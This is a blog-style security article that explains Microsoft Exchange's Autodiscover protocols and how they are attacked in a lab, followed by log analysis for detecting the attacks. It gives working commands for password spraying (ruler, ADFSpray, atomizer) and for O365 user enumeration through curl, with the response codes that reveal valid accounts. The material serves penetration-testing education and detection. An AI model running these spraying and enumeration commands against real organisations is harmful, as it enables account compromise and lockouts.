Autodiscover 101 : Attacking [MS-OXDISC] & [MS-OXDISCO]

0. Autodiscover 101 : A brief introduction

We will start this series by analysing the Autodiscover protocol which is being actively used by the differents Exchange endpoints in order to exploit then.

In order to do so we will focus on two different aspect :

  • Unauthenticated attack
  • Authenticated attack

No more taklink let’s jump into the technical stuff ! Based on the Microsoft documentation the Autodiscover sevice is part of the “Directory/Profile Services” which can be broke down into 2 important piece of documentation :

Directory Profile

  • [MS-OXDISCO] : Specifies the Autodiscover HTTP Protocol, which will provide a way for the “Autodiscover clients to find Autodiscover server” by extending the DNS and LDAP services. ;
  • [MS-OXDSCLI] : Specifies the Autodiscover publishing/lookup protocol. This will mostly define how the client will retrieve the settings needed to access the web services.

Both of these protocols works hand in hand and are what defines the Autodiscover endpoint and his inner working. We will break down this article in three differents parts :

  • Overview of [MS-OXDISCO] and [MS-OXDISCLI] ;
  • Attacking the Autodiscover endpoint ;
  • Analysis of the Autodiscover’s log.

1. Overview of [MS-OXDISCO] and [MS-OXDSCLI]

1.1 [MS-OXDISCO]


Summary : Protocol to discover Autodiscover enpoint by using LDAP,DNS SRV record or constructed URL.


As define in the OXDISCO documentation : The Autodiscover HTTP Service Protocol provides a way for Autodiscover clients to find Autodiscover servers. In order to find those servers the client will his expand his email address (ex: ottersec@conso.com) to a list of URI probable autodiscover servers.

Those URIs can be exposed by one of the following method :

  1. Service connection point objects lying within LDAP ;
  2. DNS entry (SRV record) ;
  3. Using the domain part of our email address to construct two URLs.

Based on the definition of this protocol which is rather simple, one can try the following methods in order to discover the autodiscover URIs. At least one of this method should work if your target is properly using an autodiscover service (not all of them has to be implemented):

1.1.1 LDAP service connection point

Using an LDAP connection (authenticated) and apply the following filter :

(&(objectcategory=serviceConnectionPoint)(|(keywords=67661D7F-8FC4-4fa7-BFAC-E1D7794C1F68)( keywords=77378F46-2C66-4aa9-A6A6-3E7A48B19596)))

The URIs will be stored within the serviceBindingInformation. As the LDAP service of a domain controller is very unlikley to be exposed on the internet,this method is not going to be very exploitable.

1.1.2 DNS SRV record :

Let’s simply query the defined SRV record in the documentation :

_autodiscover._tcp.<domain>

As with the first method , chances to see and SRV record populated for the autodiscover exposed on the internet is quite unlikely.

1.1.3 Constructed domain URIs

The last method is to use the domain part of our email address in order to construct two URIs :

http://<Domain>/Autodiscover/Autodiscover.xml
https://Autodiscover.<Domain>/Autodiscover/Autodiscover.xml

This last technique should work in 99.9% of the environement and this is what you should see implemented in most organisations.

At the end of the day the client (e.g : us as for now !) should be in posession of one/severals URIs which will be hosting the autodiscovery service.

For the sake of science let’s try one of the aformentioned method in our lab :

dig srv _autodiscover._tcp.test.local

; <<>> DiG 9.16.1-Ubuntu <<>> srv _autodiscover._tcp.test.local
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10616
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: 3352a116cfeafeb1 (echoed)
;; QUESTION SECTION:
;_autodiscover._tcp.test.local. IN      SRV

;; ANSWER SECTION:
_autodiscover._tcp.test.local. 3600 IN  SRV     0 0 443 autodiscover.test.local.

;; Query time: 0 msec
;; SERVER: 192.168.1.89#53(192.168.1.89)
;; WHEN: Tue Apr 26 20:49:05 CEST 2022
;; MSG SIZE  rcvd: 113

Bingo, we got our URL leading to the Autodiscover endpoint : autodiscover.test.local !

1.2 [MS-OXDSCLI]


Summary : Protocol to acquire email configuration by sending a crafted XML to an Autodiscover endpoint and receiving an XML as answer containing usefull informations


As stated before the aim of the MS-OXDSCLI protocol is to enable Autodisocver clients to acquire email configuration settings for specific email addresses from the list of Autodiscover servers. As we now know how to discover our Autodiscover servers we will focus on how to obtain this email configuration settings.

The processus is pretty simple as it is composed in it simplest form of only an HTTP POST request and its associated answer :

Autodiscover request

1.2.1 Autodiscover request

The client will send and HTTP request containing an XML to the URL obtained through the MS-OXDISCO. As stated within the documentation the xml is composed of the following :

  • A reference to the schema being used.
  • The primary email address of the user from which we want to get the configuration
  • The schema that we expect to have as an answer.

Nothing really fancy here as the request is pretty simple. Regarding the authentication method they can be one of the following :

  • Basic authentication
  • NTLM Authentication
  • Kerberos Authentication

Based on all those inputs we can craft our request that will be addressed to the Autodiscover server.

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>user@domain</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

1.2.2 Autodiscover response

Now that we’ve made our query we will receive a delightfull answer containing a trendemous amount of information such as :

  • EXCHANGE / DC FQDN : Usefull information to discover internal information.
  • OAB/ EWS and OWA Url : Will allow us to locate those in case they’re not following a “standard” naming scheme.
  • Shared email boxes if any.

Let’s see an answer in which we have the most interesting part :

<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
  <Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <User>
      <DisplayName>user</DisplayName>
      ..
      <PublicFolderServer>exch1.test.local</PublicFolderServer>
      <AD>DC.test.local</AD>
      ..
      <EwsUrl>https://exch1.test.local/EWS/Exchange.asmx</EwsUrl>
      <OABUrl>https://exch1.test.local/OAB/0703222f-d52a-4a24-84f4-91a23c54dd1d/</OABUrl>
      ..
      <OWAUrl AuthenticationMethod="Basic, Fba">https://exch1.test.local/owa/</OWAUrl>
      ..
      <AlternativeMailbox>
        <Type>Delegate</Type>
        <DisplayName>Red Shared Mailbox</DisplayName>
        <SmtpAddress>shareredbox@test.local</SmtpAddress>
        <OwnerSmtpAddress>shareredbox@test.local</OwnerSmtpAddress>
      </AlternativeMailbox>
    </Account>
  </Response>
</Autodiscover>

2. Attacking the Autodiscover endpoint

In order to tacle the endpoint many differents tools are available, most of them performing very well for this task such as :

2.1 Unauthenticated attack


Possible attack : Password Spray

Tools : curl,ADFSpray,Carnivore,ruler …


Attacking an autodiscover endpoint while being unauthenticated is what is the more valuable as it allow us to perform an important action : password spray a list of user.

Indeed as we saw before the Autodiscover server provide an endpoint with an authentication methode enabled. This will allow us to spray our constructed list of users.

Let us suppose we’ve been performing some OSINT and gathered a list of 20 user. Worth nothing to say that we could also have enumerated our users through other means such as ADFS or O365 (more on that below).

We can now spray our user list thorugh several available tools such as :

  • curl (yup, but inefficient!)
  • ADFSpray
  • ruler

This list is not exhaustive and I’m quite sure you will find plenty other tools that can perform this task.

Let’s now perform our password spraying through different tools as examples :

  1. ADFSpray
python3 ADFSpray.py autodiscover -P password.list -U user.list -t https://exch1.test.local/autodiscover/autodiscover.xml

ADFS Spray 2. ruler

./ruler-linux64 --domain test.local --url https://exch1.test.local/autodiscover/autodiscover.xml -k brute --users user.list --passwords password.list -v

Ruler output

2.2 Authenticated abuse


Possible attack : Information gathering, User enumeration 1

Tools : curl,custom script


Depending on the configuration you may or may not need to specify a user agent which mimics Outlook or a non-browser based user agent agent otherwiser you’ll be greated with an error 600 such as the following :

Autodiscover Error

Nevetherless the default UA of curl should work, and you should be welcomed by a quite big XML response. In order to make our request work properly we should create an XML file (e.g : email.xml) with will be in the content of our request :

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress><YOUR EMAIL ADDRESS HERE></EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
curl -d @email.xml -u anakin@test.local https://exch1.test.local/autodiscover/autodiscover.xml -k --http1.1 -H 'Content-Type: text/xml'
Enter host password for user 'anakin@test.local':
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
  <Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <User>
      <DisplayName>Yoda</DisplayName>
      <LegacyDN>/o=Exchange TESTLCOAL/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=15cf7489978146c2ab34263d32b46762-Yoda</LegacyDN>
      <AutoDiscoverSMTPAddress>yoda@test.local</AutoDiscoverSMTPAddress>
      <DeploymentId>c540eda7-6b1f-4e3d-be0c-7639095021aa</DeploymentId>
    </User>
    <Account>
      <AccountType>email</AccountType>
      <Action>settings</Action>
      <MicrosoftOnline>False</MicrosoftOnline>
      <Protocol>
        <Type>EXCH</Type>
       ...
       ...
      <AlternativeMailbox>
        <Type>Delegate</Type>
        <DisplayName>Red Shared Mailbox</DisplayName>
        <SmtpAddress>shareredbox@test.local</SmtpAddress>
        <OwnerSmtpAddress>shareredbox@test.local</OwnerSmtpAddress>
      </AlternativeMailbox>
    </Account>
  </Response>
</Autodiscover>

Based on what we’ve discussed before we can extract the following usefull informations from this answer :

I’ve made a simple script that can automate the extraction of all of those informations to be more “readable” here.

Note : As you can see here we’re retreiving information of Yoda while authenticating as Anakin.This is because in our request we specified yoda@test.local in the EMailAddress field (which is accepted by the autodiscover endpoint). This is a way to gather informations on different users than the one you have credentials for. To be honest this is not that usefull unless the OAB/OWA and so on are not exposed/available to you as this will allow you to validate the existence of a user and get info

2.3 Bonus : Autodiscover in the Cloud


Possible attack : Password spraying, User Enumeration

Tools : O365Spray,o365creeper,SprayingToolkit


2.3.1 Autodiscover unauthenticated

The Exchange Online feature is quite gentle with us as it allow us to quickly and easily enumerate users.

Quick tip : to quickly know if the target is using o365 a simple host will give you your answer !

# If it's using o365 you will get an alias to outlook.com!

host autodiscover autodiscover.<domain>
autodiscover.<domain> is an alias for autodiscover.outlook.com

How can we enumerate our users then ? Dead simple, microsoft is providing us an easy way to do so :

#User does not exist
curl https://outlook.office365.com/autodiscover/autodiscover.json?Email=fakeuser%40<domain>&Protocol=Autodiscoverv1

Doesnotesit

#User does exist
curl https://outlook.office365.com/autodiscover/autodiscover.json?Email=user%40<domain>&Protocol=Autodiscoverv1

Doesexist

2.3.2 Autodiscover password spraying

The password spraying is quite similar as previously stated. The main difference will be the URL that is going to be the same all the time : https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml

Not much is required in order to perform our password spraying : only populate our Authorization header such has :

curl --user <email> https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml -v

We can quickly summarize the password spraying on the Autodiscover arround the different error code returned :

  • 401 : Invalid e-mail (e.g : Enumeration)

401bis

  • 401 : Invalid password

401

  • 456 : MFA Required

456

  • 200 : Credentials valid !

200

Several tools allow you to spray against the autodiscover in O365 such as :

Let’s try out the SprayingToolkit against some account on our Exchange Online :

python3 atomizer.py owa <domain>.onmicrosoft.com <password> emails.txt

validspray

And finally let’s see the case where MFA is enforced on an account :

python3 atomizer.py owa <domain>.onmicrosoft.com <password> emails.txt

mfaspray

2.4 Summary

Let’s recap here the differents options that we have in our sleeves :

Password Spraying User enumeration brute-force* SID Gathering Alternate mailbox info Services URL Info DC FQDN
Unauthenticated x
Authenticated N/A x x x x
O365 Unauthenticated x x

User enumeration : With a set of valid credential you should be able to do some user enumeration with a good wordlist. Keep in mind that it is EXTREMELY inefficient since with a set of valid credentials you can dump the OAB through differents methods that we will see in the next article.

3. Post mortem log analysis

I quickly tried to find logs of interest regarding the differents actions that we performed earlier and endded up with this three potentials sources :

  • Windows security logs : Logon success / failure
  • Exchange HttpProxy logs : ExchangeDir/HttpProxy/Autodiscover/*
  • Exchange Autodiscover logs : ExchangeDir/Autodiscover/*

IMPORTANT : This is ABSOLUTLY NOT EXHAUSTIVE, if you know more log sources regarding the Autodiscover endpoint please DM me on twitter @ottersecx !

3.1 HttpProxy logs

Important fields : DateTime, AuthenticationType, AuthenticatedUser, UserAgent, ClientIpAddress

I’ve launched a quick brute force attack against the different users of the test.local domain : anakin,yoda,administrator and darthvader with the ruler tool.

Let’s analyze this log extract and see what have been done by the malicious actor :

# Log entry with some success and failure
DateTime,RequestId,MajorVersion,MinorVersion,BuildVersion,RevisionVersion,ClientRequestId,Protocol,UrlHost,UrlStem,ProtocolAction,AuthenticationType,IsAuthenticated,AuthenticatedUser,Organization,AnchorMailbox,UserAgent,ClientIpAddress,ServerHostName,HttpStatus,BackEndStatus,ErrorCode,Method,ProxyAction,TargetServer,TargetServerVersion,RoutingType,RoutingHint,BackEndCookie,ServerLocatorHost,ServerLocatorLatency,RequestBytes,ResponseBytes,TargetOutstandingRequests,AuthModulePerfContext,HttpPipelineLatency,CalculateTargetBackEndLatency,GlsLatencyBreakup,TotalGlsLatency,AccountForestLatencyBreakup,TotalAccountForestLatency,ResourceForestLatencyBreakup,TotalResourceForestLatency,ADLatency,SharedCacheLatencyBreakup,TotalSharedCacheLatency,ActivityContextLifeTime,ModuleToHandlerSwitchingLatency,ClientReqStreamLatency,BackendReqInitLatency,BackendReqStreamLatency,BackendProcessingLatency,BackendRespInitLatency,BackendRespStreamLatency,ClientRespStreamLatency,KerberosAuthHeaderLatency,HandlerCompletionLatency,RequestHandlerLatency,HandlerToModuleSwitchingLatency,ProxyTime,CoreLatency,RoutingLatency,HttpProxyOverhead,TotalRequestTime,RouteRefresherLatency,UrlQuery,BackEndGenericInfo,GenericInfo,GenericErrors,EdgeTraceId,DatabaseGuid,UserADObjectGuid,PartitionEndpointLookupLatency,RoutingStatus
#Software: Microsoft Exchange Server
#Version: 15.01.2242.004
#Log-type: HttpProxy Logs
....
1. 2022-04-29T13:35:11.036Z,6bbc05bb-fe33-4532-b1c6-ff29739e6496,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,true,TEST\yoda,,Sid~S-1-5-21-1302956852-1588591240-2316589032-1145,ruler,192.168.1.80,EXCH1,200,200,,GET,Proxy,exch1.test.local,15.01.2242.000,IntraForest,WindowsIdentity,,,,0,349,,,2,24,,0,23;,23,,0,23,,0,211,0,,,,85,3,2,2,3,2,206,3,127,117,120,122,211,,,,BeginRequest=2022-04-29T13:35:10.813Z;CorrelationID=<empty>;ProxyState-Run=None;AccountForestGuard_test.local=1;FEAuth=BEVersion-1942063298;RoutingEntry=DatabaseGuid:99bddf19-a904-4711-aef0-80bd1589fd04%40test.local%40test.local Server:EXCH1.test.local+1942063298@637868347504812022;NewConnection=fe80::2533:7966:fc71:6cce%6&0;BeginGetResponse=2022-04-29T13:35:10.895Z;OnResponseReady=2022-04-29T13:35:10.989Z;EndGetResponse=2022-04-29T13:35:10.992Z;ProxyState-Complete=ProxyResponseData;SharedCacheGuard=0;EndRequest=2022-04-29T13:35:11.036Z;I32:ATE.C[DC.test.local]=3;F:ATE.AL[DC.test.local]=0.3333333;I32:ADS.C[DC]=3;F:ADS.AL[DC]=5.536716;Dbl:VCGS.T[EXCH1]=0;I32:VCGS.C[EXCH1]=6,,,|RoutingDB:99bddf19-a904-4711-aef0-80bd1589fd04,,,CafeV1
2. 2022-04-29T13:35:11.320Z,7941d214-3482-4d9f-a3b4-ba048b0d32be,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,false,,,,ruler,192.168.1.80,EXCH1,401,,,GET,,,,,,,,,0,,,,,,,,,,,,,,,0,,,,,,,,,,,,,,0,,0,0,,,,BeginRequest=2022-04-29T13:35:11.320Z;CorrelationID=<empty>;SharedCacheGuard=0;EndRequest=2022-04-29T13:35:11.320Z;,,,,,,
3. 2022-04-29T13:35:11.324Z,3bdcfacb-2fa2-4c33-bc18-732da6d573bf,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,false,,,,ruler,192.168.1.80,EXCH1,401,,,GET,,,,,,,,,0,,,,,,,,,,,,,,,2,,,,,,,,,,,,,,2,,2,2,,,,BeginRequest=2022-04-29T13:35:11.321Z;CorrelationID=<empty>;SharedCacheGuard=0;EndRequest=2022-04-29T13:35:11.324Z;,,,,,,
4. 2022-04-29T13:35:11.830Z,4a612a05-8da8-4520-94ff-021427f8f0c1,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,false,,,,ruler,192.168.1.80,EXCH1,401,,,GET,,,,,,,,,0,,,,,,,,,,,,,,,0,,,,,,,,,,,,,,0,,0,0,,,,BeginRequest=2022-04-29T13:35:11.829Z;CorrelationID=<empty>;SharedCacheGuard=0;EndRequest=2022-04-29T13:35:11.830Z;,,,,,,
5. 2022-04-29T13:35:11.832Z,bc273fa9-163b-435d-baff-b38263604d7e,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,false,,,,ruler,192.168.1.80,EXCH1,401,,,GET,,,,,,,,,0,,,,,,,,,,,,,,,2,,,,,,,,,,,,,,1,,1,1,,,,BeginRequest=2022-04-29T13:35:11.831Z;CorrelationID=<empty>;SharedCacheGuard=0;EndRequest=2022-04-29T13:35:11.832Z;,,,,,,
6. 2022-04-29T13:35:12.329Z,ee9b9ca9-ce3f-4acc-9c7c-4b6f6306513d,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,false,,,,ruler,192.168.1.80,EXCH1,401,,,GET,,,,,,,,,0,,,,,,,,,,,,,,,0,,,,,,,,,,,,,,0,,0,0,,,,BeginRequest=2022-04-29T13:35:12.329Z;CorrelationID=<empty>;SharedCacheGuard=0;EndRequest=2022-04-29T13:35:12.329Z;,,,,,,
7. 2022-04-29T13:40:15.848Z,d42748d5-88da-4f3f-be87-37690605d41e,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,false,,,,ruler,192.168.1.80,EXCH1,401,,,GET,,,,,,,,,0,,,,,,,,,,,,,,,0,,,,,,,,,,,,,,0,,0,0,,,,BeginRequest=2022-04-29T13:40:15.847Z;CorrelationID=<empty>;SharedCacheGuard=0;EndRequest=2022-04-29T13:40:15.848Z;,,,,,,
8. 2022-04-29T13:40:15.867Z,4dba6254-b1dd-4a9d-88bb-d86f51a604f1,15,1,2242,4,,Autodiscover,192.168.1.88,/autodiscover/autodiscover.xml,,NTLM,true,TEST\Administrator,,Sid~S-1-5-21-1302956852-1588591240-2316589032-500,ruler,192.168.1.80,EXCH1,200,200,,GET,Proxy,exch1.test.local,15.01.2242.000,IntraForest,WindowsIdentity,,,,0,349,,,2,4,,0,3;,3,,0,3,,0,18,0,,,,7,2,0,0,0,0,15,1,9,7,9,11,18,,,,BeginRequest=2022-04-29T13:40:15.849Z;CorrelationID=<empty>;ProxyState-Run=None;AccountForestGuard_test.local=1;FEAuth=BEVersion-1942063298;RoutingEntry=DatabaseGuid:99bddf19-a904-4711-aef0-80bd1589fd04%40test.local%40test.local Server:EXCH1.test.local+1942063298@637868347504812022;NewConnection=fe80::2533:7966:fc71:6cce%6&0;BeginGetResponse=2022-04-29T13:40:15.859Z;OnResponseReady=2022-04-29T13:40:15.866Z;EndGetResponse=2022-04-29T13:40:15.866Z;ProxyState-Complete=ProxyResponseData;SharedCacheGuard=0;EndRequest=2022-04-29T13:40:15.867Z;I32:ATE.C[DC.test.local]=1;F:ATE.AL[DC.test.local]=0;I32:ADS.C[DC]=1;F:ADS.AL[DC]=2.404126,,,|RoutingDB:99bddf19-a904-4711-aef0-80bd1589fd04,,,CafeV1

As we can see on our log we can easily identify the following :

  • Many entries with the user agent ruler trying to authenticate to the /autodiscover/autodiscover.xml URI but getting a wrong credential answer (e.g:HTTP 401) with the source IP addresse of 192.168.1.80 (log entry 2-7).
  • Two successful authentication (e.g: HTTP 200) on the same URI with the same user agent : yoda@test.local and administrator@test.local

From the following pattern we can pretty surely tell that the malicious actor successfuly compromised two users (e.g: yoda and administrator) while password spraying the Autodiscover endpoint.

Intrestingly enough the log does not yield the username if the authentication is a failure !

Note : Act carrefuly while brute forcing the autodiscover endpoint as it will lock the accounts according to the enforced policy on the domain

3.2 Windows security logs

Regarding the Windows security logs on the Exchange Server we can see that the classic authentication logs are generated :

  • Event 4625 : Logon failure
  • Event 4624 : Logon Success

Let’s analyze the following screenshot : windowssec

As we can see here several logon failure regarding differents users are generated in a short time frame which may imply a brute force or a password spraying.

Note : We can see here an event id 4672 which is a ‘Special Logon’. This is because we authenticated as a Domain Administrator which is a Special Logon *Note 2 : They may be more event id that can be usefull ! DM me @ottersecx in case you happend to know more of them :)

3.3 Autodiscover logs

Unfortunately the Autodiscover logs seems quite useless when it comes to security logs as it is mostly designed arround the health of the Autodiscover service.

4. Ressources and tools

All of the following ressources has been used in order to make this blog post. None of what was described here is new.

4.1 Ressources

Attacking MS Exchange Web Interfaces : https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
Bouncing Off Clouds Taking What O365 Gives You : https://www.redsiege.com/wp-content/uploads/2021/06/O365UserEnumeration_PasswordAttacks.pdf
MS-OXDSCLI : https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/%5bMS-OXDSCLI%5d.pdf
MS-OXDISCO : https://interoperability.blob.core.windows.net/files/MS-OXDISCO/%5bMS-OXDISCO%5d.pdf Event ID : https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/

4.2 Tools

o365spray : https://github.com/0xZDH/o365spray
SprayingToolkit : https://github.com/byt3bl33d3r/SprayingToolkit
o365creeper : https://github.com/LMGsec/o365creeper
Carnivore : https://github.com/ReverendThing/Carnivore
adfspray : https://github.com/xFreed0m/adfspray
ruler : https://github.com/sensepost/ruler


  1. This is highly inefficient and mostly useless 99% of the time. ↩︎